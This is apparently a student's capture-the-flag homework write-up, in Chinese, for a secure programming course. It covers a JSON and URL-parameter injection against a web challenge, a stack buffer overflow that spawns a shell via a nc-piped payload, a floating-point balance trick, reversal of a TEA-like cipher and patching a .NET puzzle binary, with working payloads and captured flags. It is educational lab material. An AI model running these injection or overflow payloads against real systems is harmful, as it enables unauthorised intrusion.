Secure Programming 2020

ID tl455047

HW0 write-up

Web

owoHub

這題助教有給提示,說這題的漏洞跟Node.js語言無關
看一下網頁的source code可以發現透過GET request url "https://owohub.zoolab.org/auth"攜帶username跟cute兩個參數,然後server會再從server內連線到另一段code,如果通過了判斷條件就會回傳flag

再看一下flag的判斷條件：

```
...
const { data, givemeflag } = request.query;
    const userInfo = JSON.parse(data);
    if (givemeflag === "yes" && userInfo.admin) // You don't need to be cute to
get the flag ouo!
        response.send(FLAG);
    else
        response.send({
            username: `Hellowo, ${userInfo.username}
            ${userInfo.admin ? "<(_ _)>" : ""}!`,
            ...
...
```

想通過判斷式必須達成兩個條件,givemeflag=yes跟userInfo的admin=true

首先回傳flag的code只能從server內部連線,所以我們可以操控的參數只有/auth的username跟cute,因此應該是透過傳遞的參數想辦法通過flag的判斷式

看一下關於username跟cute的參數檢查會發現username管得很嚴只能是字母或數字，而cute就比較有意思了

```
if (... || !cute.match("(true|false)$"))
```

$代表的是結尾，這意味著cute只要結尾是true或false就能通過參數檢查，再看下server對參數做了什麼處理：

```
...
const userInfo = `{"username":"${username}","admin":false,"cute":${cute}}`;

const api = `http://127.0.0.1:9487/?data=${userInfo}&givemeflag=no`;
...
```

server會將username跟cute組裝成一個json格式的參數data,然後跟givemeflag一起傳出去

判斷式的條件中有一個是userInfo的成員admin,這個admin預設是false,但是既然cute只要求最後是true也許可以加點東西來覆蓋掉admin

```
https://owohub.zoolab.org/auth?username=yang&cute=true, "admin" : true
```

這樣符合cute的參數檢查又把admin設成true,實際嘗試後得到回應：

```
{"username":"Hellowo, yang<(_ _)>!","imageLinks":
...
```

仔細看一下判斷式false的回應會發現如果admin是true那麼回應就會多了一個顏文字，所以我們成功把admin變成了true

接下來就是把givemeflag設成yes

我們只能操縱cute,所以自然的就是從cute下手，server的作法是用cute完善userInfo然後把userInfo放到url裡,其中givemflag=no接在userInfo後面，如果我們有辦法遮蔽掉givemeflag=no，再用cute設givemeflag是不是就可以通過判斷式

查了一下發現url的fragment好像可以遮蔽＆的效果

我們可以用cute設givemeflag：

```
https://owohub.zoolab.org/auth?username=yang&cute=true, "admin" : true}
&givemeflag=yes＃true
```

但是噴錯了

再查了一下發現如果要把&,#等特殊字元當參數傳遞得用%來編碼，所以＆的編碼是%26,＃是%23

```
https://owohub.zoolab.org/auth?username=yang&cute=true, "admin" : true}
%26givemeflag=yes%23true
```

得到flag

```
FLAG{owo_ch1wawa_15_th3_b35t_uwu!!!}
```

Pwn

Cafe Overflow

第一步先檢查binary的防護情況

```
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

由於PIE是關的,所以text section的address是固定的,由此我們可以得到正確的nstruction address

```
gdb$ disas main
...
0x0000000000401247 <+129>:  mov    eax,0x0
0x000000000040124c <+134>:  call   0x401070 <__isoc99_scanf@plt>
...
```

用gdb disassemble main function,可以看到scanf function,用ghidra看一下發現是%s輸入,意味著我們可以從這裡進行buffer overflow.

```
gdb$ info functions
...
0x0000000000401176  func1
...
gdb$ disas func1
...
0x0000000000401195 <+31>:   lea    rdi,[rip+0xe68]        # 0x402004
0x000000000040119c <+38>:   call   0x401030 <puts@plt>
0x00000000004011a1 <+43>:   lea    rdi,[rip+0xe68]        # 0x402010
0x00000000004011a8 <+50>:   call   0x401040 <system@plt>
...
```

再看一下binary裡的function,可以找到一個叫做func1的function,裡面有call system的指令,用ghidra看一下會發現參數是"/bin/sh",代表我們只要能夠控制return address讓程式跳轉到func1執行system就可以得到system的command line,那我們就取得了system的控制權

所以我們現在只需要控制main function的return address就可以了

這個binary是x86 64, x86 64的stack的基本架構是：

```
low address
...
--------------
...
local variable <--rsp point to stack top
--------------
rbp
--------------
return address
--------------
...
high address
```

我們可以看一下main function call scanf的時候stack的大小,進到main的時候stack會先push rbp,這個時候rsp會指向rbp,我們只要看rsp的變化就能知道現在stack的大小,也就能知道從rsp到return adres的距離

```
...
0x00000000004011ca <+4>:    sub    rsp,0x10
...
```

在main function中到scanf之前,rsp總共減了16 bytes,因此從sacnf的buffer到rbp的距離就是16 bytes,再加上rbp的8 bytes就會是return adress.

```
payload = 'A'*24(16 bytes scanf buffer, 8bytes rbp in x86 64)
+ '\x95\x11\x40\x00\x00\x00\x00\x00'(return address)
```

由disas func1我們可以獲得system的address，由於前一行是參數設定所以要再前一行，這裡助教還很貼心前面還有一個puts會顯示here you go來提示你是否跳轉成功,所以return addres可以設成puts的前一行0x401195

然後輸入payload：

```
(python2 -c "print 'A'*24 + '\x95\x11\x40\x00\x00\x00\x00\x00'"; cat)
| nc hw00.zoolab.org 65534
```

成功了的話會顯示here you go,然後取得command line

```
What is your name : Hello, AAAAAAAAAAAAAAAAAAAAAAAA@
Here you go
```

用find指令找flag

```
find . -iname "flag*"
./home/Cafeoverflow/flag
...
```

得到flag

```
cat ./home/Cafeoverflow/flag
flag{c0ffee_0verfl0win6_from_k3ttle_QAQ}
```

Misc

The Floating Aquamarine

這題如果按照程式的邏輯,賣出跟買入的股票永遠相等,所以正常操作是不可能讓balance增加的

但如果仔細看會發現紀錄持有股票的value是int,而balance則是透過value*PRICE得到，且balance是float，如果value*PRICE夠大是不是可能會有精度的問題

稍微嘗試了一下，發現如果買入99999999,然後賣出99999991，balance卻歸零了,可是我們手上仍然有8張stock，再賣出這8張，balance就增加了

造成這樣的結果的原因是99999999x88.88跟99999991x88.88的結果是一樣的，這應該是由於float的精度問題

根據程式邏輯，只要balance超過3000我們就可以得到flag

所以重複買入99999999賣出99999991再賣出8，重複四次，balance就會超過3000，得到flag:

```
FLAG{floating_point_error_https://0.30000000000000004.com/}
```

Cryptography

解密一下

解密腳本 decrypt.py附在zip裡

這題給了加密function跟flag加密後的密文，key是用python的time.time()

最直觀的方式是把加密的function逆向得出decrypt的function，再用flag的密文跟key去解密出flag

所以最主要的兩個問題是得出解密function跟得到正確的key

解密function我試了很久，最後還是得到同學的提示才想出來的,加密function中最核心的部份是_加密function

```
def _加密(向量: 陣列[整數], 金鑰: 陣列[整數]):
    累加, 得優塔, 遮罩 = 0, 0xFACEB00C, 0xffffffff
    for 次數 in 範圍(32):

        累加 = 累加 + 得優塔 & 遮罩

        向量[0] = 向量[0] + ((向量[1] << 4) + 金鑰[0] & 遮罩 ^
        (向量[1] + 累加) & 遮罩 ^ (向量[1] >> 5) + 金鑰[1] & 遮罩) & 遮罩
        向量[1] = 向量[1] + ((向量[0] << 4) + 金鑰[2] & 遮罩 ^
        (向量[0] + 累加) & 遮罩 ^ (向量[0] >> 5) + 金鑰[3] & 遮罩) & 遮罩
        ...
```

仔細看的話v[0]是用之前的v[1]來計算,而v[1]是用新得出的v[0]算得的,所以實際上計算的順序會是：

```
def _加密(向量: 陣列[整數], 金鑰: 陣列[整數]):
  for 次數 in 範圍(32): vi[0] i denote 次數
  ...
  v1[0] = v0[0] + operation(v0[1])

  v1[1] = v0[1] + operation(v1[0])

  ...

  v32[0] = v31[0] + operation(v31[1])

  v32[1] = v31[1] + operation(v32[0])
```

所以只要把方向反過來就可以達到解密的效果

```
def _decrypt(向量: 陣列[整數], 金鑰: 陣列[整數]):
  for 次數 in 範圍(32): vi[0] i denote 次數
  ...
  v31[1] = v32[1] - operation(v32[0])

  v31[0] = v32[0] - operation(v31[1])

  ...

  v0[1] = v1[1] - operation(v1[0])

  v0[0] = v1[0] - operation(v0[1])
```

解密的function會變成這樣：

```
def _decrypt(向量: 陣列[整數], 金鑰: 陣列[整數]):
    累加, 得優塔, 遮罩 = 0, 0xFACEB00C, 0xffffffff
    for 次數 in 範圍(32):
        累加 = 累加 + 得優塔 & 遮罩
    for 次數 in 範圍(32):


        向量[1] = 向量[1] - ((向量[0] << 4) + 金鑰[2] & 遮罩 ^
        (向量[0] + 累加) & 遮罩 ^ (向量[0] >> 5) + 金鑰[3] & 遮罩) & 遮罩
        向量[0] = 向量[0] - ((向量[1] << 4) + 金鑰[0] & 遮罩 ^
        (向量[1] + 累加) & 遮罩 ^ (向量[1] >> 5) + 金鑰[1] & 遮罩) & 遮罩

        累加 = 累加 + 得優塔 & 遮罩
        ...
```

解密function解決了之後,接下來就需要key,加密用的key是從time.time()得到,也就是助教出題目的時間,最簡單的辦法就是從9/18上課的時間往前找，把key的密文跟Key解密得到明文,如果這個明文包含flag就是flag了

結果一度什麼都沒有找到,試了很久發現FLAG是大寫

```
seed: 1599977586
b'FLAG{4lq7mWGh93}'
```

Reversing Engineering

EekumBokum

這題會得到一個.exe檔，嘗試用ida或ghidra看了很久都沒有看到完整的程式碼，最後是同學推薦了一個程式dnSpy,才成功反組譯得到了程式碼

dnSpy是針對windows .NET的反組譯工具,還可以直接修改程式碼再編譯

這題是一個拼圖,如果按照程式邏輯只要把拼圖拼回來就可以得到flag,但是很明顯這拼圖根本拼不回來

所以還是直接改程式比較快

稍微看了一下，samonCheck的部份會print出flag，而且在一開始的地方會檢查拼圖的順序,再仔細看下發現flag是根據拼圖進行運算得到的,所以還是需要把拼圖弄成正確的順序

```
1  // EekumBokum.Form1
2  // Token: 0x06000002 RID: 2 RVA: 0x000021A8 File Offset: 0x000003A8
3  private void samonCheck(List<PictureBox> listPitcture)
4  {
5      List<byte> list = new List<byte>();
6      for (int i = 0; i < 16; i++)
7      {
8          list.Add(((Bitmap)listPitcture[i].Image).GetPixel(66, 99).R);
9          if (!listPitcture[i].Image.Equals(this.originalPicture[i]))
10         {
11             return;
12         }
13     }
```

看了一下檢查拼圖的邏輯,發現有一個data叫originalPicture,應該就是正確的拼圖，直接把originPicture賦給用來運算的list

```
// Token: 0x06000002 RID: 2 RVA: 0x000024DC File Offset: 0x000006DC
private void samonCheck(List<PictureBox> listPitcture)
{
    List<byte> list = new List<byte>();
    for (int i = 0; i < 16; i++)
    {
        list.Add(this.originalPicture[i].GetPixel(66, 99).R);
    }
```

然後再重新編譯得到新的exe

左右按一下，得到flag